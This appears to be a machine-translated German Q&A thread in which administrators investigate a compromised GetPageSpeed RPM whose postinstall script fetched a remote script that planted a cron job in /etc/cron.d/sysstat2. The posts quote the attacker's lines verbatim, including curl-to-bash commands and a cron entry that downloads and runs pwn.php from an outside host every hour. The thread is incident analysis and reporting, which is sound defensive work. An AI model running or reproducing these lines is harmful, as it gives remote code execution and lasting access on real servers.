Wie hat die Installation dieses RPM eine Datei erstellt?

16

Laufen yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmerzeugt /etc/cron.d/sysstat2aber RPM disavows die Datei:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Wie hat das RPM die Datei erstellt und wie sehe ich, was es sonst noch getan hat?

Pascal
quelle
4
Also, sind diese GetPageSpeed-Leute im Besitz und wissen es nicht, oder veröffentlichen sie selbst schlechte RPMs?
Aaron Copley
1
Das RPM, das ich vor drei Monaten von ihrer Site installiert habe, war gut. Der Bösartige wurde gestern veröffentlicht. Ich denke, sie waren im Besitz und jeder, der ihr Repo benutzt, wird besessen. Das böswillige kommt über yum Update herunter. Ich schickte ihnen eine E-Mail und eine Nachricht über ihr Kontaktformular.
Pascal
Und es ist auch von ihnen signiert?
Aaron Copley
1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmIst die Originaldatei, hat sie noch ein altes Datum in ihrem Repo und gpgcheck=1ist darin eingestellt.
Pascal
1
Wenden Sie sich auch an den Webadministrator unter sayitwithagift.com, obwohl YMMV darüber informiert ist, welche Art von Antwort Sie erhalten. Am Ende habe ich den Hosting-Anbieter einer Website durchsucht, um mich einmal über einen falsch konfigurierten Mail-Server zu informieren, da die Website selbst nie geantwortet hat.
Darren

Antworten:

18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php enthält:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
Pascal
quelle
16

Sie haben festgestellt, dass die RPM-Skripte ein Skript aus dem Internet ausführen und dieses Skript derzeit zu Malware umleitet. Obwohl ich nicht viel von einer Nutzlast finde, die irgendetwas bewirkt.

rpm kann nicht vollständig nachvollziehen, was passiert ist, da es ein beliebiges Skript ausführt.

gpgcheck wird Ihnen nicht helfen, sowohl die getpagespeed-extras-7-6.el7.gps.noarch.rpmals auch die von getpagespeed-extras-release-7-1.el7.gps.noarch.rpmIhnen verlinkten scheinen gültige Signaturen zu haben:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Beschweren Sie sich beim Repo-Eigentümer, dass das Paket beliebigen Code aus dem Internet ausführt. Wenn dies erforderlich ist, muss die Sicherheit der Software-Lieferkette verbessert werden.

Es scheint ein bisschen paranoid zu sein, die erste Installation von Software ohne Internetzugang durchzuführen oder das Skript "Post Install" manuell zu überprüfen. Aber leider scheint fast notwendig, wenn Pakete schlecht beratene Tricks wie diese machen.

John Mahowald
quelle
Die Payload ist ein Cron-Job, der stündlich " sayitwithagift.com/pwn.php " herunterlädt und ausführt . Momentan nichts da, aber das könnte sich jederzeit ändern. Durch das Entfernen der Drehzahl wird die Nutzlast nicht entfernt.
Pascal,
Das ursprüngliche RPM enthielt kein Postinstall-Scriptlet. Nur die gestern hochgeladene Version (vermutlich von einem Hacker).
Pascal
1
Unklar, ob das Hinzufügen von Code aus dem Internet eine legitime Idee ist oder von der Malware-Crew hinzugefügt wurde. Letzteres ist noch schlimmer, da dies impliziert, dass die Signatur- und Upload-Prozesse beeinträchtigt wurden.
John Mahowald
1

Ich habe 5 CLoudLinux / cPanel-Server, auf denen Nginx über Engintron installiert war, aber sie führen jetzt stattdessen den LiteSpeed-Webserver aus. Ich denke, Engintron hat die Pagespped-Repos möglicherweise bei der Deinstallation zurückgelassen. cPanel führt jede Nacht einen Update-Check durch und gegen Mitternacht schickten mir alle meine Server eine E-Mail-Meldung:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Eine Suche nach der Nutzlast-Site führte mich hierher, wo ich sehe, dass Sie am selben Tag dasselbe Problem hatten. Also, um meine Informationen zu Ihren eigenen hinzuzufügen. Die gleiche /etc/cron.d/sysstat2Datei war auf allen meinen Servern vorhanden.

Ich habe die Datei gelöscht, die Repos entfernt und das Kontaktformular bei GetPageSpeed ​​verwendet, um das Problem zu melden. Der Besitzer des Repos könnte AWOL sein, da es einen Blog-Beitrag gab, der besagte, dass er das Repo aus gesundheitlichen Gründen heruntergefahren hat. Vielleicht hat der Angreifer die Tatsache ausgenutzt, dass das Repo nicht auffällt, oder eine offene Tür gefunden, die er ausnutzen kann.

John C. Reid
quelle
1
Die Nachricht über das Herunterfahren des Repos wurde veröffentlicht, nachdem er meine E-Mail über die Beeinträchtigung erhalten hatte. Ich bat ihn, das Repo erneut zu öffnen und aktualisierte Pakete zu veröffentlichen, um sie zu entfernen /etc/cron.d/sysstat2. Er hat es getan.
Pascal